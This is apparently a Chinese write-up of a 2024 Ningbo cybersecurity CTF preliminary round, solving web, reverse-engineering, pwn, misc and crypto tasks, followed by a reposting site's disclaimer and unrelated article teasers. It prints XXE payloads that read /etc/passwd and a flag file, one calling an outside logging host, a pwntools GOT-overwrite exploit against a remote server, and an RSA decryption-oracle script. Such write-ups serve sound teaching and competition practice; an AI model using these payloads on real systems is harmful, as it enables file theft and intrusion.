“天一永安杯” 初赛 2024宁波第七届网络安全大赛暨第九届大学生网络技术与信息安全大赛 题解WP

web-1

题目描述:只需一键,Flag就在你眼前!

image-20240505103423785

Ctrl+U直接出

image-20240505103447199

web-2

题目描述:小明做的网站看似很安全,但是它好像开启了某个不安全的配置

敏感目录扫描无果,手动排查,根据报错是java的后端(springboot)

image-20240505111732000

环境出网,能解析xml,有没有回显不知道,xxe包的。

<?xml version='1.0' encoding="UTF-8"?>

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    <!ENTITY  % myurl SYSTEM "http://Jay17.6c48yi2g.requestrepo.com">

    %myurl;
]> 

<root>
1
</root>

image-20240505100048955

image-20240505100016765

之前做了java的xxe,留了payload:

来自这篇文章:https://github.com/bfengj/CTF/blob/main/Web/java/XXE/Java%E4%B8%AD%E7%9A%84XXE.md

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///flag">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

啥都好,就是环境有点问题

image-20240505112710129

重开环境

image-20240505112725528

re-1

IDA打开,直接找string,找到关键提示Congratulations!等,追踪到函数,发现main函数入口

image

简单审一下,就是flag字符串和key进行了crypt2处理,继续追踪key,发现key是由key和key1两个变量经过crypt1处理得到

image

先逆key,追踪key和key1,得到值,写解密脚本

def initialize_key_stream(state, key_seed):
    key_length = len(key_seed)
    state[:] = range(256)
    j = 0
    for i in range(256):
        j = (j + state[i] + key_seed[i % key_length]) % 256
        state[i], state[j] = state[j], state[i]


def encrypt_decrypt(state, data):
    i = 0
    j = 0
    result = bytearray(data)
    for idx in range(len(data)):
        i = (i + 1) % 256
        j = (j + state[i]) % 256
        state[i], state[j] = state[j], state[i]
        key_stream_byte = state[(state[i] + state[j]) % 256]
        result[idx] ^= key_stream_byte
    return result


def process_data(data, key_seed):
    state = list(range(256))
    initialize_key_stream(state, key_seed)
    processed_data = encrypt_decrypt(state, data)
    return processed_data


key_seed = b"keykey" 
data = b"ban_debug!"
encrypted_data = process_data(data, key_seed)

print("Encrypted key:", encrypted_data)

得到key:b’i\rZ\xb2@\xea\x19?/j’ 解密cipher 脚本如下

def initialize_key_stream(state, key):
    key_length = len(key)
    for i in range(256):
        state[i] = i
    j = 0
    for i in range(256):
        j = (j + state[i] + key[i % key_length]) % 256
        state[i], state[j] = state[j], state[i]

def encrypt_data(state, data):
    i = 0
    j = 0
    encrypted_data = bytearray(data)
    for index in range(len(data)):
        i = (i + 1) % 256
        j = (j + state[i]) % 256
        state[i], state[j] = state[j], state[i]
        key_stream_byte = state[(state[i] + state[j]) % 256]
        encrypted_data[index] = (encrypted_data[index] - key_stream_byte) % 256
    return encrypted_data

def decrypt_data(state, ciphertext):
    i = 0
    j = 0
    decrypted_data = bytearray(ciphertext)
    for index in range(len(ciphertext)):
        i = (i + 1) % 256
        j = (j + state[i]) % 256
        state[i], state[j] = state[j], state[i]
        key_stream_byte = state[(state[i] + state[j]) % 256]
        decrypted_data[index] = (decrypted_data[index] + key_stream_byte) % 256
    return decrypted_data

key = b'i\rZ\xb2@\xea\x19?/j'
ciphertext = bytes([
    0x4e, 0x47, 0x38, 0x47, 0x62, 0x0a,
    0x79, 0x6a, 0x03, 0x66, 0xc0, 0x69,
    0x8d, 0x1c, 0x84, 0x0f, 0x54, 0x4a,
    0x3b, 0x08, 0xe3, 0x30, 0x4f, 0xb9,
    0x6c, 0xab, 0x36, 0x24, 0x52, 0x81,
    0xcf
])

state = list(range(256))
initialize_key_stream(state, key)

decrypted_data = decrypt_data(state, ciphertext)
print("Decrypted flag:", decrypted_data.decode())
image

re-2

先用010editror修改CTF为UPX

然后用upx4.2.3脱壳

然后下完断点后输入27个字符动调查看v4找到flag

1714883605754

1714882913886

1714884467800

pwn-1

name能覆盖到password1的指针 修改其使其指向__isoc99_scanf的got然后在输入password1时将其篡改为提供的后门地址即可

from pwn import *
context.log_level="debug"
elf=ELF("./Wal1et")
io=remote("47.100.12.80",30786)
#io=process("./Wal1et")
#io.recvuntil("2.EXIT")
io.sendline("1")
io.recvuntil("Show me your name :")
printf_got=elf.got["printf"]
__isoc99_scanf_got=elf.got["__isoc99_scanf"]
print(hex(printf_got))

io.sendline("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaab"+p32(__isoc99_scanf_got))
#gdb.attach(io)
#pause()
io.recvuntil("password :")

io.sendline(str(0x804872A))

io.interactive()

1714885013880

misc-1

png打开,一眼像素有问题,stegsolve嗦一下,发现只有RGB的第七个通道有数据块并且部分黑,直接过滤7通道,得到一堆hex,hex转码

得到隐藏数据

image

搜一下发现是日语歌,发现前面有空的字符,连起来就是key的提示

image image

直接搜这个解密网站 https://sekao.net/pixeljihad/ 解密后得到flag

image

crypto-1

import websocket
import json
from binascii import *
from Crypto.Util.number import *
url1="ws://101.132.170.0:31898"
ws=websocket.create_connection(url1)
t1=ws.recv()
# print(t1)
# ws.send(json.dumps({"cmd": "get_flag"}))
# ws.send("help") 
def get_flag():
    ws.send(json.dumps({"cmd": "get_flag"}))
    tmp_result=str(ws.recv())
    return bytes_to_long(unhexlify(tmp_result))
def dec(data):
    ws.send(json.dumps({"cmd": "dec", "data": hex(data)[2:]}))
    return ws.recv()
def enc(data):
    ws.send(json.dumps({"cmd": "enc", "data": hex(data)[2:]}))
    return ws.recv()
c=get_flag()
print(f"c={c}")
e=65537
left,right=1,2**2048
while left<right:
    mid=(left+right)>>1
    result=enc(mid)
    if "args" in result:
        right=mid-1
    else:
        left=mid
    if right-left==1:
        if "arg" in enc(right):
            right=left
        else:
            left=right
    print(left,right)
n=left+1
print(f"n={n}")
for i in range(2,3):
    c_tmp=c*pow(i,e)%n
    m=dec(c_tmp)
    print(m)
    result1=bytes_to_long(unhexlify(m))
    if result1%2==0:
        print(long_to_bytes(result1//2))
    else:
        print(long_to_bytes((result1+n)//2))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/598131.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Redis教程——主从复制

在上篇文章我们学习了Redis教程——管道&#xff0c;这篇文章学习Redis教程——主从复制。 主从复制 为了数据更加安全可靠&#xff0c;在实际的项目中&#xff0c;肯定是有多个Redis服务&#xff0c;主机Redis以写为主&#xff0c;从机Redis以读为主&#xff0c;当主机Redis…

森林消防泵操作指南:守护绿色的必备技能/恒峰智慧科技

在广袤无垠的森林中&#xff0c;每一片绿叶都承载着生命的希望。然而&#xff0c;当火焰无情地吞噬这片生机时&#xff0c;我们需要一种强大的力量来与之抗衡。这时&#xff0c;森林消防泵便成为了我们的守护者&#xff0c;掌握其操作技巧&#xff0c;更是每一位热爱大自然者的…

企业防泄露如何做到安全有效

随着信息时代的急速演进&#xff0c;企业的重要商业机密越来越多地以电子文档的形式存在。常见的CAD图纸、Office文档承载着公司的核心价值和竞争优势&#xff0c;同时也面临着前所未有的数据安全威胁。确保这些重要信息的文档安全已经成为每个企业必须直面的挑战。在这样的背景…

Linux-05

磁盘管理 查看磁盘使用量 df -h dumount /dev/dai /mnt 将外部设备dai挂载到mnt目录下umount 卸载进程管理 ps -a 所有进程 ps -u ps aux|grep redis 常用 查看redis相关的进程kill -9 进程id 结束进程

ABAP: BAPI_MATERIAL_SAVEDATA 创建、修改物料信息毛重不生效

1、BAPI_MATERIAL_SAVEDATA 修改物料信息 参考&#xff1a;https://blog.csdn.net/zhongguomao/article/details/51917696 clientdata-matl_group ls_in-matkl."物料组clientdata-base_uom ls_in-meins."基本计量单位clientdata-extmatlgrp ls_in-extwg."外…

Linux系统编程之基本指令

零、Linux发展史 1、诞生 1991年10月5日&#xff0c;赫尔辛基大学的一名研究生Linus Benedict Torvalds在一个Usenet新闻组 &#xff08;comp.os.minix&#xff09;中宣布他编制出了一种类似UNIX的小操作系统&#xff0c;叫Linux。新的操作系统是受到另一个UNIX的小操作系统—…

XAMPP是什么?XAMPP好不好用?

XAMPP是一个免费且开源的软件套件&#xff0c;用于在个人计算机上轻松搭建和运行 Apache 服务器、MySQL 数据库、PHP 和 Perl&#xff0c;让用户可以在个人电脑上搭建服务器环境的平台。 XAMPP的由来是 X(表示跨平台)、Apache、MySQL、PHP 和 Perl 的首字母缩写。 它集成了这…

锅炉轴承界的“耐热冠军”:江苏鲁岳耐高温300度自润滑轴承!

耐高温300度锅炉轴承&#xff0c;江苏鲁岳自润滑技术领先行业&#xff01;300度高温轻松应对&#xff0c;江苏鲁岳锅炉轴承自润滑技术引领潮流&#xff01;耐磨耐温套-钢厂托辊用无油自润滑钢套-江苏鲁岳耐高温轴承。 在工业生产的大潮中&#xff0c;高温环境始终如一地考验着设…

400G光模块产品最全分类解析

随着信息技术的迅猛发展&#xff0c;网络带宽需求不断增加&#xff0c;而400G光模块作为当前最热门的光通信技术之一&#xff0c;正在成为新一代网络的关键组成部分。本文将对400G光模块进行最全面的分类解析&#xff0c;以帮助大家深入了解其技术特点和应用场景。 一、ETU-LI…

前端 | 实时电子时钟

文章目录 &#x1f4da;实现效果&#x1f4da;模块实现解析&#x1f407;html&#x1f407;css&#x1f407;JavaScript &#x1f4da;实现效果 &#x1f4da;模块实现解析 &#x1f407;html 搭个框架<!DOCTYPE html> <html lang"en"> <head>&l…

04-23 周二 shell环境下读取使用jq 读取json文件

04-23 周二 shell环境下读取使用jq 读取json文件 时间版本修改人描述04-23V0.1宋全恒新建文档 简介 工具列表 Shell脚本处理JSON数据工具jq jshon是另外一个读取json数据的工具 而且其支持XML和YAML格式文件 linux shell环境下处理yml文件 #!/bin/bash# 加载shyaml库 . /…

计算机网络学习记录Day1

你好,我是Qiuner. 为记录自己编程学习过程和帮助别人少走弯路而写博客 这是我的 github gitee 如果本篇文章帮到了你 不妨点个赞吧~ 我会很高兴的 &#x1f604; (^ ~ ^) 想看更多 那就点个关注吧 我会尽力带来有趣的内容 计算机网络学习记录Day1 本文基于1.1 计算机网络在信息…

信创基础软件之中间件

信创基础软件之中间件 中间件概述 中间件是一种应用于分布式系统的基础软件&#xff0c;位于应用与操作系统、数据库之间&#xff0c;主要用于解决分布式环境下数据传输、数据访问、应用调度、系统构建和系统集成、流程管理等问题&#xff0c;是分布式环境下支撑应用开发、运…

学习记录:AUTOSAR R20-11的阅读记录(五)【CP(5.11-5.19)】完

接上回&#xff1a;学习记录&#xff1a;AUTOSAR R20-11的阅读记录&#xff08;四&#xff09;【CP&#xff08;5.6-5.10&#xff09;】 五、CP 11、General&#xff08;4个&#xff09; 5.11 File Name 说明 1 AUTOSAR_EXP_ LayeredSoftwareArchitecture.pdf 描述了AUTO…

AIGC (AI-Generated Content) 技术深度探索:现状、挑战与未来愿景

&#x1f525; 个人主页&#xff1a;空白诗 文章目录 &#x1f916; AIGC技术&#xff1a;塑造未来的创意与内容革命 &#x1f31f;引言 &#x1f680;AIGC技术发展现状 &#x1f4c8;核心技术驱动 &#x1f4a1;应用领域拓展 &#x1f310; 面临的挑战 ❌真实性与伦理考量 &am…

Spring @Repository 注解

Spring 的项目严重依赖注解。 Repository 注解 在Spring2.0之前的版本中&#xff0c;Repository注解可以标记在任何的类上&#xff0c;用来表明该类是用来执行与数据库相关的操作(即dao对象)&#xff0c;并支持自动处理数据库操作产生的异常 在Spring2.5版本中&#xff0c;引…

3度带6度带中央经线及带号换算问题

前言&#xff1a;3度带6度带中央经线及代号换算问题是比较繁琐的一个问题&#xff0c;不经常用&#xff0c;公式记不住&#xff0c;因此本文特此整理&#xff0c;以备查。 1.基本概况 我国基本比例尺地形图除1&#xff1a;100万采用兰勃特投影&#xff08;lambert&#xff09;外…

信息系统项目管理师0090:项目经理的影响力范围(6项目管理概论—6.3项目经理的角色—6.3.2项目经理的影响力范围)

点击查看专栏目录 文章目录 6.3.2项目经理的影响力范围1.概述2.项目3.组织4.行业5.专业学科6.跨领域6.3.2项目经理的影响力范围 1.概述 项目经理在其影响力范围内可担任多种角色,这些角色反映了项目经理的能力,体现了项目经理的价值和作用,项目经理会涉及项日、组织、行业、…

爬虫案例:股吧,使用Selenium

爬虫案例:股吧,使用Selenium 实用工具关注公众号爬虫探索者获取。 发送对应关键词: 1.运行环境 pip install selenium==4.9.1 pip install pymysql1.1.高版本Chrome问题 针对于高版本的Chrome浏览器 1.2.最终效果 2.目标网站 3.参数介绍 BASE_URL = https://guba.eas…

ppp和ppp mp理论实验

ppp简介 PPP&#xff08;点对点协议&#xff09;为在点对点连接上传输多协议数据包提供了一个标准方法&#xff0c;是数据链路层封装协议的一种方法&#xff0c;支持同步和异步两种传输方式。&#xff08;除了PPP还有HDLC等&#xff0c;不过HDLC只支持同步方式&#xff09; P…